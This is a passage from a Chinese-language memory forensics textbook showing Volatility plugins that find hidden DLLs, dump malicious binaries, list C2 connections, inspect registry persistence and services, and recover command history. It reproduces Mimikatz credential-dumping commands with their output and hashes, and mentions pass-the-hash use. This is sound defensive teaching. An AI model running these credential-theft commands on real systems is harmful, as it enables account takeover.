6. 列出 DLL 文件

在本书中,你已经看到了恶意软件使用 DLL 实现恶意功能的例子。因此,除了调查进程外,你可能还需要检查加载的库列表。要列出已加载的模块(可执行文件和 DLL),你可以使用 Volatility 的 dlllist 插件。dlllist 插件还显示与进程相关联的完整路径。让我们以名为Ghost RAT的恶意软件为例。它将恶意功能实现为Service DLL,因此,恶意 DLL 被 svchost.exe 进程加载(有关 Service DLL 的更多信息,请参阅第七章,恶意软件功能和持久性)。以下是 dlllist 的输出,其中可以看到由 svchost.exe 进程(pid 800)加载的一个具有非标准扩展名 (.ddf) 的可疑模块。第一列,Base,指定了基地址,即模块加载在内存中的地址:

$ python vol.py -f ghost.vmem --profile=Win7SP1x86 dlllist -p 880
Volatility Foundation Volatility Framework 2.6
******************************************************************
svchost.exe pid: 880
Command line : C:\Windows\system32\svchost.exe -k netsvcs

Base       Size     LoadCount Path
---------- -------- --------- --------------------------------
0x00f30000 0x8000   0xffff    C:\Windows\system32\svchost.exe
0x76f60000 0x13c000 0xffff    C:\Windows\SYSTEM32\ntdll.dll
0x75530000 0xd4000  0xffff    C:\Windows\system32\kernel32.dll
0x75160000 0x4a000  0xffff    C:\Windows\system32\KERNELBASE.dll
0x75480000 0xac000  0xffff    C:\Windows\system32\msvcrt.dll
0x77170000 0x19000  0xffff    C:\Windows\SYSTEM32\sechost.dll
0x76700000 0x15c000 0x62      C:\Windows\system32\ole32.dll
0x76c30000 0x4e000  0x19c     C:\Windows\system32\GDI32.dll
0x770a0000 0xc9000  0x1cd     C:\Windows\system32\USER32.dll
[REMOVED]
0x74fe0000 0x4b000  0xffff    C:\Windows\system32\apphelp.dll
0x6bbb0000 0xf000   0x1       c:\windows\system32\appinfo.dll
0x10000000 0x26000  0x1       c:\users\test\application data\acdsystems\acdsee\imageik.ddf
0x71200000 0x32000  0x3       C:\Windows\system32\WINMM.dll

dlllist 插件从名为进程环境块(PEB)的结构中获取有关加载模块的信息。如果你回想一下第八章,代码注入与钩子,在讲解进程内存组件时,我提到过PEB 结构位于进程内存中(用户空间)。PEB 包含关于进程可执行文件加载位置、磁盘上的完整路径以及已加载模块(可执行文件和 DLL)的元数据。dlllist 插件查找每个进程的PEB 结构并获取上述信息。那么,问题是,如何找到 PEB 结构呢?_EPROCESS 结构有一个名为 Peb 的字段,里面包含指向PEB的指针。这意味着,一旦插件找到了 _EPROCESS 结构,它就可以找到PEB。需要记住的一点是,_EPROCESS 位于内核内存(内核空间),而 PEB 位于进程内存(用户空间)。

要在调试器中获取PEB的地址,你可以使用 !process 扩展命令,该命令显示 _EPROCESS 结构的地址。它还指定了PEB的地址。从以下输出中可以看到,explorer.exe 进程的 PEB 位于其进程内存中的地址 7ffd3000,而其 _EPROCESS 结构位于 0x877ced28(在其内核内存中):

kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
.........
PROCESS 877cb4a8 SessionId: 1 Cid: 05f0 Peb: 7ffdd000 ParentCid: 0360
    DirBase: beb47300 ObjectTable: 99e54a08 HandleCount: 70.
    Image: dwm.exe
PROCESS 877ced28 SessionId: 1 Cid: 0600 Peb: 7ffd3000 ParentCid: 05e8
    DirBase: beb47320 ObjectTable: 99ee5890 HandleCount: 766.
    Image: explorer.exe

另一种确定 PEB 地址的方法是使用 display type (dt) 命令。你可以通过检查 explorer.exe 进程的 EPROCESS 结构中的 Peb 字段来找到其PEB的地址,如下所示:

kd> dt nt!_EPROCESS 877ced28
   [REMOVED]
   +0x168 Session : 0x8f44e000 Void
   +0x16c ImageFileName : [15] "explorer.exe"
   [REMOVED]
   +0x1a8 Peb : 0x7ffd3000 _PEB
   +0x1ac PrefetchTrace : _EX_FAST_REF

你现在知道如何找到PEB,接下来,我们来了解一下PEB包含什么样的信息。要获取给定进程的PEB的人类可读摘要,首先,你需要切换到你想要检查其PEB的进程上下文。这可以通过使用.process扩展命令来完成。该命令接受_EPROCESS结构的地址。以下命令将当前进程上下文设置为explorer.exe进程:

kd> .process 877ced28
Implicit process is now 877ced28

然后,你可以使用!peb扩展命令,后跟PEB的地址。在以下输出中,为了简洁起见,部分信息被省略。ImageBaseAddress字段指定了进程可执行文件(explorer.exe)在内存中加载的地址。PEB还包含另一个结构,称为 Ldr 结构(类型为_PEB_LDR_DATA),它维护三个双向链表,分别是InLoadOrderModuleListInMemoryOrderModuleListInInitializationOrderModuleList。这三种双向链表中的每一项都包含关于模块的信息(包括进程可执行文件和 DLL)。通过遍历这些双向链表中的任何一个,你都可以获取有关模块的信息。InLoadOrderModuleList按照模块加载的顺序组织模块,InMemoryOrderModuleList按照模块在进程内存中驻留的顺序组织模块,InInitializationOrderModuleList按照其DllMain函数执行的顺序组织模块:

kd> !peb 0x7ffd3000
PEB at 7ffd3000
    InheritedAddressSpace: No
    ReadImageFileExecOptions: No
    BeingDebugged: No
    ImageBaseAddress: 000b0000
    Ldr 77dc8880
    Ldr.Initialized: Yes
    Ldr.InInitializationOrderModuleList: 00531f98 . 03d3b558
    Ldr.InLoadOrderModuleList: 00531f08 . 03d3b548
    Ldr.InMemoryOrderModuleList: 00531f10 . 03d3b550
    [REMOVED]

换句话说,这三种 PEB 链表都包含关于已加载模块的信息,例如基地址、大小、与模块相关的完整路径等。需要记住的一个重要点是,InInitializationOrderModuleList不包含进程可执行文件的信息,因为可执行文件与 DLL 的初始化方式不同。

为了帮助你更好地理解,以下图示使用Explorer.exe作为示例(这一概念也适用于其他进程)。当Explorer.exe执行时,它的进程可执行文件会以某个地址(假设是0xb0000)加载到进程内存中,并具有PAGE_EXECUTE_WRITECOPYWCX)保护。相关的 DLL 也会被加载到进程内存中。进程内存还包括 PEB 结构,其中包含有关explorer.exe在内存中加载位置(基地址)的元数据。PEB 中的Ldr结构维护三个双向链表;每个元素是一个结构(类型为_LDR_DATA_TABLE_ENTRY),它包含有关已加载模块的信息(基地址、完整路径等)。dlllist插件依赖于遍历InLoadOrderModuleList来获取模块的信息:

从这三个 PEB 列表中获取模块信息的问题在于,它们容易受到 DKOM 攻击。这三个 PEB 列表都位于用户空间,这意味着攻击者可以将恶意 DLL 加载到进程的地址空间中,并将恶意 DLL 从一个或所有 PEB 列表中解绑,从而隐藏起来,避开依赖于遍历这些列表的工具。为了解决这个问题,我们可以使用另一个插件,名为 ldrmodules

6.1 使用 ldrmodules 检测隐藏的 DLL

ldrmodules 插件将进程内存中的三个 PEB 列表中的模块信息与存在于内核内存中的一种数据结构——VADs虚拟地址描述符)的信息进行比较。内存管理器使用 VADs 跟踪进程内存中哪些虚拟地址已被保留(或空闲)。VAD 是一种二叉树结构,存储有关进程内存中虚拟连续内存区域的信息。对于每个进程,内存管理器维护一组 VADs,每个 VAD 节点描述一个虚拟连续的内存区域。如果进程内存区域包含内存映射文件(例如可执行文件、DLL),则 VAD 节点存储其基地址、文件路径和内存保护信息。以下示例应能帮助你理解这个概念。在以下截图中,内核空间中的一个 VAD 节点描述了进程可执行文件(explorer.exe)的加载位置、其完整路径和内存保护。类似地,其他 VAD 节点将描述进程内存范围,包括包含映射的可执行映像(如 DLL)的范围:

为了获取模块的信息,ldrmodules 插件枚举所有包含映射可执行映像的 VAD 节点,并将结果与三个 PEB 列表进行比较,以识别任何不一致之处。以下是来自一个被 TDSS rootkit(我们之前看到的)感染的内存镜像中进程的模块列表。你可以看到,ldrmodules 插件成功识别出一个名为 TDSSoiqh.dll 的恶意 DLL,该 DLL 在所有三个 PEB 列表(InLoadInInitInMem)中都隐藏了。InInit 值对于 svchost.exe 被设置为 False,这对于可执行文件来说是预期的,正如前面所提到的:

$ python vol.py -f tdl3.vmem --profile=WinXPSP3x86 ldrmodules -p 880
Volatility Foundation Volatility Framework 2.6
Pid Process     Base     InLoad InInit InMem MappedPath
--- ----------- --------  ----- ------- ----- ----------------------------
880 svchost.exe 0x10000000 False False False \WINDOWS\system32\TDSSoiqh.dll
880 svchost.exe 0x01000000 True  False True  \WINDOWS\system32\svchost.exe
880 svchost.exe 0x76d30000 True  True  True  \WINDOWS\system32\wmi.dll
880 svchost.exe 0x76f60000 True  True  True  \WINDOWS\system32\wldap32.dll
[REMOVED]

7. 转储可执行文件和 DLL

在识别了恶意进程或 DLL 后,您可能希望转储它以便进一步调查(例如提取字符串、运行 YARA 规则、反汇编或使用杀毒软件扫描)。要将进程可执行文件从内存转储到磁盘,可以使用procdump插件。要转储进程可执行文件,您需要知道其进程 ID 或物理偏移量。在下面的示例中,内存镜像被Perseus 恶意软件感染(之前在讨论pslist插件时有提到),procdump插件用于转储其恶意进程可执行文件svchost..exepid 3832)。使用-D--dump-dir)选项,您可以指定要转储可执行文件的目录名称。转储的文件名基于进程的 pid,例如executable.PID.exe

$ python vol.py -f perseus.vmem --profile=Win7SP1x86 procdump -p 3832 -D dump/
Volatility Foundation Volatility Framework 2.6
Process(V) ImageBase  Name         Result
---------- ---------- ------------ -----------------------
0x8503f0e8 0x00b90000 svchost..exe OK: executable.3832.exe

$ cd dump
$ file executable.3832.exe
executable.3832.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

要转储带有物理偏移量的进程,可以使用-o (--offset)选项。如果您想从内存中转储隐藏进程,这个选项非常有用。在下面的示例中,内存镜像被prolaco恶意软件感染(之前在讨论psscan插件时有提到),通过物理偏移量转储了隐藏进程。物理偏移量是通过psscan插件确定的。您也可以通过psxview插件获取物理偏移量。使用procdump插件时,如果没有指定-p (--pid)-o (--offset)选项,则会转储系统上所有正在运行的活动进程的可执行文件:

$ python vol.py -f infected.vmem --profile=WinXPSP3x86 psscan
Volatility Foundation Volatility Framework 2.6
Offset(P)          Name    PID  PPID PDB        Time created 
------------------ ------- ---- ---- ---------- -------------------- 
[REMOVED]
0x00000000016ba360 nvid.exe 1700 1660 0x08440320 2014-10-17 09:16:10
$ python vol.py -f infected.vmem --profile=WinXPSP3x86 procdump -o 0x00000000016ba360 -D dump/ 
Volatility Foundation Volatility Framework 2.6
Process(V) ImageBase  Name     Result
---------- ---------- -------- -----------------------
0x814ba360 0x00400000 nvid.exe OK: executable.1700.exe

与进程可执行文件类似,您可以使用dlldump插件将恶意 DLL 转储到磁盘。要转储 DLL,您需要指定加载该 DLL 的进程 ID(-p选项)和 DLL 的基址,使用-b (--base)选项。您可以从dlllistldrmodules输出中获取 DLL 的基址。在下面的示例中,内存镜像被Ghost RAT恶意软件感染(我们在讨论dlllist插件时有提到),svchost.exepid 880)进程加载的恶意 DLL 被dlldump插件转储:

$ python vol.py -f ghost.vmem --profile=Win7SP1x86 dlllist -p 880 
Volatility Foundation Volatility Framework 2.6
************************************************************************
svchost.exe pid: 880
Command line : C:\Windows\system32\svchost.exe -k netsvcs

Base        Size  LoadCount  Path
---------- ------ --------   ------
[REMOVED]
0x10000000 0x26000 0x1 c:\users\test\application data\acd systems\acdsee\imageik.ddf
$ python vol.py -f ghost.vmem --profile=Win7SP1x86 dlldump -p 880 -b 0x10000000 -D dump/
Volatility Foundation Volatility Framework 2.6
Name       Module Base    Module Name       Result
---------- ------------ ---------------- --------------------------
svchost.exe 0x010000000  imageik.ddf      module.880.ea13030.10000000.dll

8. 列出网络连接和套接字

大多数恶意程序会执行一些网络活动,要么是下载附加组件,要么是接收攻击者的命令,要么是窃取数据,或是在系统上创建远程后门。检查网络活动将帮助你确定恶意软件在感染系统上的网络操作。在许多情况下,将运行在感染系统上的进程与网络上检测到的活动关联起来非常有用。为了确定在 Vista 之前的系统(如 Windows XP 和 2003)上的活动网络连接,你可以使用 connections 插件。以下命令显示了使用 connections 插件从感染了 BlackEnergy 恶意软件的内存转储中打印活动连接的示例。从以下输出中,你可以看到进程 ID 为 756 的进程负责了端口 443 上的 C2 通信。在运行 pslist 插件之后,你可以得知 756 的 pid 与 svchost.exe 进程相关联:

$ python vol.py -f be3.vmem --profile=WinXPSP3x86 connections
Volatility Foundation Volatility Framework 2.6
Offset(V)  Local Address         Remote Address   Pid
---------- ------------------   --------------  -------
0x81549748 192.168.1.100:1037   X.X.32.230:443   756
$ python vol.py -f be3.vmem --profile=WinXPSP3x86 pslist -p 756
Volatility Foundation Volatility Framework 2.6
Offset(V)  Name        PID PPID Thds Hnds Sess Wow64  Start               
---------- ----------- --- ---- ---- ---- ---- ------ --------------------
0x8185a808 svchost.exe 756 580  22   442  0    0      2016-01-13 18:38:10

另一个你可以在 Vista 之前的系统上使用来列出网络连接的插件是 connscan。它使用池标签扫描方法来确定连接。因此,它也可以检测到已终止的连接。在以下的内存镜像感染 TDL3 rootkit 的示例中,connections 插件没有返回任何结果,而 connscan 插件则显示了网络连接。这并不一定意味着连接被隐藏,只是意味着在获取内存镜像时,网络连接并未处于活动状态(或已被终止):

$ python vol.py -f tdl3.vmem --profile=WinXPSP3x86 connections
Volatility Foundation Volatility Framework 2.6
Offset(V)  Local Address Remote Address Pid
---------- ------------- -------------- ----
$ python vol.py -f tdl3.vmem --profile=WinXPSP3x86 connscan
Volatility Foundation Volatility Framework 2.6
Offset(P)  Local Address         Remote Address    Pid
---------- ------------------   ---------------   -----
0x093812b0 192.168.1.100:1032   XX.XXX.92.121:80   880

有时,你可能想要获取关于打开的套接字及其关联进程的信息。在 Vista 之前的系统上,你可以使用 socketssockscan 插件来获取打开端口的信息。sockets 插件打印出打开套接字的列表,而 sockscan 插件使用池标签扫描方法。因此,它可以检测到已关闭的端口。

在 Vista 及更高版本的系统(如 Windows 7)上,你可以使用 netscan 插件来显示网络连接和套接字。netscan 插件使用池标签扫描方法,类似于 sockscanconnscan 插件。在以下的内存镜像被 Darkcomet RAT 感染的示例中,netscan 插件显示了在端口 81 上的 C2 通信,这是由恶意进程 dmt.exe (pid 3768) 发起的:

$ python vol.py -f darkcomet.vmem --profile=Win7SP1x86 netscan
Volatility Foundation Volatility Framework 2.6
Proto Local Address   Foreign Address     State       Pid Owner
TCPv4 192.168.1.60:139    0.0.0.0:0       LISTENING      4 System 
UDPv4 192.168.1.60:137    *:*                            4 System
UDPv4 0.0.0.0:0           *:*                           1144 svchost.exe
TCPv4 0.0.0.0:49155       0.0.0.0:0       LISTENING     496 services.exe 
UDPv4 0.0.0.0:64471       *:*                           1064 svchost.exe
[REMOVED]
UDPv4 0.0.0.0:64470       *:*                           1064 svchost.exe
TCPv4 192.168.1.60:49162  XX.XXX.228.199:81 ESTABLISHED 3768 dmt.exe

9. 检查注册表

从取证角度来看,注册表可以提供有关恶意软件上下文的宝贵信息。在讨论第七章《恶意软件功能与持久性》中的持久性方法时,您已经看到恶意程序如何通过向注册表中添加条目来实现重启后的生存。除了持久性,恶意软件还使用注册表来存储配置数据、加密密钥等。要打印注册表键、子键及其值,您可以使用printkey插件,并通过-K--key)参数提供所需的注册表键路径。在以下受Xtreme Rat感染的内存镜像示例中,它将恶意可执行文件C:\Windows\InstallDir\system.exe添加到“运行”注册表键中。因此,每次系统启动时,恶意可执行文件都会被执行:

$ python vol.py -f xrat.vmem --profile=Win7SP1x86 printkey -K "Microsoft\Windows\CurrentVersion\Run"
Volatility Foundation Volatility Framework 2.6
Legend: (S) = Stable (V) = Volatile

----------------------------
Registry: \SystemRoot\System32\Config\SOFTWARE
Key name: Run (S)
Last updated: 2018-04-22 06:36:43 UTC+0000

Subkeys:

Values:
REG_SZ VMware User Process : (S) "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
REG_EXPAND_SZ HKLM : (S) C:\Windows\InstallDir\system.exe

在以下示例中,Darkcomet RAT在注册表中添加了一条条目,通过rundll32.exe加载其恶意的DLL (mph.dll)

$ python vol.py -f darkcomet.vmem --profile=Win7SP1x86 printkey -K "Software\Microsoft\Windows\CurrentVersion\Run"
Volatility Foundation Volatility Framework 2.6
Legend: (S) = Stable (V) = Volatile

----------------------------
Registry: \??\C:\Users\Administrator\ntuser.dat
Key name: Run (S)
Last updated: 2016-09-23 10:01:53 UTC+0000

Subkeys:

Values:
REG_SZ Adobe cleanup : (S) rundll32.exe "C:\Users\Administrator\Local Settings\Application Data\Adobe updater\mph.dll", StartProt
----------------------------

还有其他注册表键存储着以二进制形式存在的宝贵信息,对于取证调查员来说,这些信息极具价值。Volatility 插件,如userassistshellbagsshimcache,可以解析这些包含二进制数据的注册表键,并以更易读的格式显示信息。

Userassist注册表键包含了用户在系统上执行的程序列表以及程序执行的时间。要打印userassist注册表信息,您可以使用 Volatility 的userassist插件,如下所示。在以下示例中,一个名为(info.doc.exe)的可疑可执行文件在2018-04-30 06:42:37从**E:**驱动器(可能是 USB 驱动器)执行:

$ python vol.py -f inf.vmem --profile=Win7SP1x86 userassist
Volatility Foundation Volatility Framework 2.6
----------------------------
Registry: \??\C:\Users\test\ntuser.dat 

[REMOVED]

REG_BINARY E:\info.doc.exe : 
Count: 1
Focus Count: 0
Time Focused: 0:00:00.500000
Last updated: 2018-04-30 06:42:37 UTC+0000
Raw Data:
0x00000000 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00
0x00000010 00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf

在调查恶意软件事件时,shimcacheshellbags插件非常有用。shimcache插件有助于证明恶意软件在系统上的存在及其运行时间。shellbags插件则可以提供有关对文件、文件夹、外部存储设备和网络资源访问的信息。

10. 服务调查

在第七章《恶意软件功能与持久性》中,我们探讨了攻击者如何通过安装或修改现有服务来在系统上保持持久性。在本节中,我们将重点讨论如何从内存镜像中调查服务。要列出服务及其信息,例如显示名称服务类型启动类型,您可以使用svcscan插件。在以下示例中,恶意软件创建了一个类型为WIN32_OWN_PROCESS的服务,显示名称和服务名称均为svchost。从二进制路径中可以看出,svchost.exe是恶意的,因为它是从非标准路径C:\Windows而不是C:\Windows\System32运行的:

$ python vol.py -f svc.vmem --profile=Win7SP1x86 svcscan
Volatility Foundation Volatility Framework 2.6
[REMOVED]
Offset: 0x58e660
Order: 396
Start: SERVICE_AUTO_START
Process ID: 4080
Service Name: svchost
Display Name: svchost
Service Type: SERVICE_WIN32_OWN_PROCESS
Service State: SERVICE_RUNNING
Binary Path: C:\Windows\svchost.exe

对于作为 DLL 实现的服务(即服务 DLL),你可以通过向svcscan插件传递-v (--verbose)选项来显示服务 DLL(或内核驱动程序)的完整路径。-v选项会打印与服务相关的详细信息。以下是一个示例,展示了作为 DLL 运行的恶意软件服务。服务状态被设置为SERVICE_START_PENDING,启动类型设置为SERVICE_AUTO_START,这告诉你该服务尚未启动,并将在系统启动时自动启动:

$ python vol.py -f svc.vmem --profile=Win7SP1x86 svcscan
[REMOVED]
Offset: 0x5903a8
Order: 396
Start: SERVICE_AUTO_START
Process ID: -
Service Name: FastUserSwitchingCompatibility
Display Name: FastUserSwitchingCompatibility
Service Type: SERVICE_WIN32_SHARE_PROCESS
Service State: SERVICE_START_PENDING
Binary Path: -
ServiceDll: C:\Windows\system32\FastUserSwitchingCompatibilityex.dll
ImagePath: %SystemRoot%\System32\svchost.exe -k netsvcs

一些恶意程序劫持现有的未使用或已禁用的服务以保持在系统上的持久性。BlackEnergy就是这种恶意软件的一个例子,它替换了磁盘上名为aliide.sys的合法内核驱动程序。该内核驱动程序与一个名为aliide的服务相关联。替换驱动程序后,它修改了与aliide服务相关的注册表项并设置为自动启动(即系统启动时自动启动该服务)。此类攻击很难被检测到。检测此类修改的一种方法是保持一个干净内存镜像中所有服务的列表,并将其与可疑镜像中的服务列表进行比较,以寻找任何修改。以下是来自干净内存镜像中的 aliide 服务配置。合法的 aliide 服务被设置为按需启动(即需要手动启动该服务),且服务处于停止状态:

$ python vol.py -f win7_clean.vmem --profile=Win7SP1x64 svcscan
Offset: 0x871c30
Order: 11
Start: SERVICE_DEMAND_START
Process ID: -
Service Name: aliide
Display Name: aliide
Service Type: SERVICE_KERNEL_DRIVER
Service State: SERVICE_STOPPED
Binary Path: -

以下是受BlackEnergy感染的内存镜像中的svcscan输出。经过修改后,aliide服务被设置为自动启动(即系统启动时自动启动该服务),但仍处于停止状态。这意味着在系统重启后,服务将自动启动并加载恶意的aliide.sys驱动程序。有关此BlackEnergy劫持程序的详细分析,请参阅作者的博客文章:cysinfo.com/blackout-memory-analysis-of-blackenergy-big-dropper/

$ python vol.py -f be3_big.vmem --profile=Win7SP1x64 svcscan
Offset: 0x881d30
Order: 12
Start: SERVICE_AUTO_START
Process ID: -
Service Name: aliide
Display Name: aliide
Service Type: SERVICE_KERNEL_DRIVER
Service State: SERVICE_STOPPED
Binary Path: -

11. 提取命令历史

在攻陷系统后,攻击者可能会在命令行中执行各种命令,以枚举网络上的用户、组和共享,或者攻击者可能会将像 Mimikatz 这样的工具(github.com/gentilkiwi/mimikatz)传输到被攻陷的系统并执行,以提取 Windows 凭据。Mimikatz 是一款开源工具,由 Benjamin Delpy 于 2011 年编写。它是收集 Windows 系统凭据最流行的工具之一。Mimikatz 有多种版本,例如编译版(github.com/gentilkiwi/mimikatz),并且它是 PowerShell 模块的一部分,比如 PowerSploitgithub.com/PowerShellMafia/PowerSploit)和 PowerShell Empiregithub.com/EmpireProject/Empire)。

命令历史记录能够提供关于攻击者在被攻陷系统上活动的宝贵信息。通过检查命令历史记录,你可以确定执行过的命令、调用的程序,以及攻击者访问的文件和文件夹。两个 Volatility 插件,cmdscanconsoles 可以从内存镜像中提取命令历史记录。这些插件从 csrss.exe(Windows 7 之前)或 conhost.exe(Windows 7 及以后版本)进程中提取命令历史记录。

要了解这些插件的详细工作原理,可以阅读书籍《内存取证的艺术》或阅读 Richard Stevens 和 Eoghan Casey 的研究论文《从物理内存提取 Windows 命令行细节》(www.dfrws.org/2010/proceedings/2010-307.pdf)。

cmdscan 插件列出了 cmd.exe 执行的命令。以下示例展示了系统上窃取凭据的活动。从 cmdscan 输出中,你可以看到一个名为 net.exe 的应用程序是通过命令行 cmd.exe 调用的。从 net.exe 提取的命令可以看出,命令 privilege::debugsekurlsa::logonpasswords 与 Mimikatz 相关。在这种情况下,Mimikatz 应用程序被重命名为 net.exe

$ python vol.py -f mim.vmem --profile=Win7SP1x64 cmdscan
[REMOVED]
CommandProcess: conhost.exe Pid: 2772
CommandHistory: 0x29ea40 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5c
Cmd #0 @ 0x29d610: cd \
Cmd #1 @ 0x27b920: cmd.exe /c %temp%\net.exe
Cmd #15 @ 0x260158: )
Cmd #16 @ 0x29d3b0: )
[REMOVED]
**************************************************
CommandProcess: conhost.exe Pid: 2772
CommandHistory: 0x29f080 Application: net.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0xd4
Cmd #0 @ 0x27ea70: privilege::debug
Cmd #1 @ 0x29b320: sekurlsa::logonpasswords
Cmd #23 @ 0x260158: )
Cmd #24 @ 0x29ec20: '

cmdscan 插件显示攻击者执行的命令。为了判断命令是否成功执行,你可以使用 consoles 插件。运行 consoles 插件后,你可以看到 net.exe 确实是一个 Mimikatz 应用程序,并且为了提取凭据,Mimikatz 命令通过 Mimikatz shell 执行。从输出中你可以看出,凭据已成功提取,并且密码以明文形式被获取:

$ python vol.py -f mim.vmem --profile=Win7SP1x64 consoles
----
CommandHistory: 0x29ea40 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5c
Cmd #0 at 0x29d610: cd \
Cmd #1 at 0x27b920: cmd.exe /c %temp%\net.exe
----
Screen 0x280ef0 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7600] 
Copyright (c) 2009 Microsoft Corporation. All rights reserved. 

C:\Windows\system32>cd \ 

C:\>cmd.exe /c %temp%\net.exe

[REMOVED] 

mimikatz # privilege::debug 
Privilege '20' OK 

mimikatz # sekurlsa::logonpasswords                                                                             
Authentication Id : 0 ; 269689 (00000000:00041d79) 
Session : Interactive from 1 
User Name : test 
Domain : PC 
Logon Server : PC 
Logon Time : 5/4/2018 10:00:59 AM 
SID : S-1-5-21-1752268255-3385687637-2219068913-1000 
        msv : 
         [00000003] Primary 
         * Username : test 
         * Domain : PC 
         * LM : 0b5e35e143b092c3e02e0f3aaa0f5959 
         * NTLM : 2f87e7dcda37749436f914ae8e4cfe5f 
         * SHA1 : 7696c82d16a0c107a3aba1478df60e543d9742f1 
        tspkg : 
         * Username : test 
         * Domain : PC 
         * Password : cleartext 
        wdigest : 
         * Username : test 
         * Domain : PC 
         * Password : cleartext 
        kerberos : 
         * Username : test 
         * Domain : PC 
         * Password : cleartext 

在 Windows 8.1 及更高版本上,你可能无法使用 Mimikatz 以明文形式转储密码,但 Mimikatz 为攻击者提供了多种功能。攻击者可能使用提取的 NTLM 哈希值来冒充账户。有关 Mimikatz 的详细信息及如何使用它提取 Windows 凭证,请阅读adsecurity.org/?page_id=1821

总结

内存取证是一种出色的技术,可以从计算机内存中查找和提取取证证据。除了在恶意软件调查中使用内存取证外,你还可以将其作为恶意软件分析的一部分,以获取有关恶意软件行为和特征的更多信息。本章介绍了不同的 Volatility 插件,帮助你了解在受感染系统上发生的事件,并提供对恶意软件活动的洞察。在下一章,我们将使用更多 Volatility 插件来确定高级恶意软件的功能,你将学会如何使用这些插件提取取证证据。

第十一章:检测使用内存取证技术的高级恶意软件

在前一章中,我们查看了不同的 Volatility 插件,这些插件有助于从内存镜像中提取有价值的信息。在本章中,我们将继续探讨内存取证,并将介绍几个插件,这些插件将帮助您从感染了使用隐蔽和隐藏技术的高级恶意软件的内存镜像中提取取证物证。在接下来的部分中,我们将专注于使用内存取证检测代码注入技术。下一部分讨论了在第八章代码注入与挂钩中已经涵盖的一些概念,因此强烈建议在阅读下一部分之前先阅读该章节。

1. 检测代码注入

如果你还记得第八章中的代码注入与挂钩,代码注入是一种用于将恶意代码(如 EXE、DLL 或 shellcode)注入到合法进程内存并在合法进程上下文中执行的技术。为了将代码注入到远程进程中,恶意软件通常会分配一个带有执行权限的内存(PAGE_EXECUTE_READWRITE),然后将代码注入到远程进程的已分配内存中。要检测注入到远程进程中的代码,可以根据内存保护和内存内容查找可疑内存范围。一个引人注目的问题是,什么是可疑的内存范围,如何获取关于进程内存范围的信息?如果你还记得上一章(在检测隐藏的 DLL 使用 ldrmodules 部分),Windows 在内核空间维护了一个名为虚拟地址描述符(VADs)的二叉树结构,每个 VAD 节点描述了进程内存中的一个虚拟连续内存区域。如果进程内存区域包含内存映射文件(如可执行文件、DLL 等),则其中一个 VAD 节点存储有关其基地址、文件路径和内存保护的信息。以下描绘并非 VAD 的精确表示,但应有助于理解该概念。在以下屏幕截图中,内核空间中的一个 VAD 节点描述了关于进程可执行文件(explorer.exe)加载位置、完整路径及内存保护的信息。类似地,其他 VAD 节点将描述进程内存范围,包括包含映射的可执行映像(如 DLL)的范围。这意味着 VAD 可用于确定每个连续进程内存范围的内存保护,并且还可以提供关于包含内存映像文件(如可执行文件或 DLL)的内存区域的信息:

1.1 获取 VAD 信息

要从内存映像中获取 VAD 信息,可以使用vadinfo Volatility 插件。在以下示例中,vadinfo用于显示explorer.exe进程的内存区域,通过其进程 ID(pid 2180)。在以下输出中,位于内核内存中地址0x8724d718的第一个 VAD 节点描述了进程内存中0x00db0000-0x0102ffff的内存范围及其内存保护PAGE_EXECUTE_WRITECOPY。由于第一个节点描述的是包含内存映射可执行镜像(explorer.exe)的内存范围,因此它还给出了其在磁盘上的完整路径。第二个节点0x8723fb50描述了0x004b0000-0x004effff的内存范围,该范围不包含任何内存映射文件。类似地,位于地址0x8723fb78的第三个节点显示了0x77690000-0x777cbfff的进程内存范围的信息,其中包含ntdll.dll及其内存保护:

$ python vol.py -f win7.vmem --profile=Win7SP1x86 vadinfo -p 2180
Volatility Foundation Volatility Framework 2.6

VAD node @ 0x8724d718 Start 0x00db0000 End 0x0102ffff Tag Vadm
Flags: CommitCharge: 4, Protection: 7, VadType: 2
Protection: PAGE_EXECUTE_WRITECOPY
Vad Type: VadImageMap
ControlArea @87240008 Segment 82135000
NumberOfSectionReferences: 1 NumberOfPfnReferences: 215
NumberOfMappedViews: 1 NumberOfUserReferences: 2
Control Flags: Accessed: 1, File: 1, Image: 1
FileObject @8723f8c0, Name: \Device\HarddiskVolume1\Windows\explorer.exe
First prototype PTE: 82135030 Last contiguous PTE: fffffffc
Flags2: Inherit: 1, LongVad: 1

VAD node @ 0x8723fb50 Start 0x004b0000 End 0x004effff Tag VadS
Flags: CommitCharge: 43, PrivateMemory: 1, Protection: 4
Protection: PAGE_READWRITE
Vad Type: VadNone

VAD node @ 0x8723fb78 Start 0x77690000 End 0x777cbfff Tag Vad 
Flags: CommitCharge: 9, Protection: 7, VadType: 2
Protection: PAGE_EXECUTE_WRITECOPY
Vad Type: VadImageMap
ControlArea @8634b790 Segment 899fc008
NumberOfSectionReferences: 2 NumberOfPfnReferences: 223
NumberOfMappedViews: 40 NumberOfUserReferences: 42
Control Flags: Accessed: 1, File: 1, Image: 1
FileObject @8634bc38, Name: \Device\HarddiskVolume1\Windows\System32\ntdll.dll
First prototype PTE: 899fc038 Last contiguous PTE: fffffffc
Flags2: Inherit: 1
[REMOVED]

要使用 Windbg 内核调试器获取进程的 VAD 信息,首先需要使用.process命令切换到所需的进程上下文,并跟随_EPROCESS结构的地址。切换上下文后,使用!vad扩展命令显示进程的内存区域。

1.2 使用 VAD 检测注入的代码

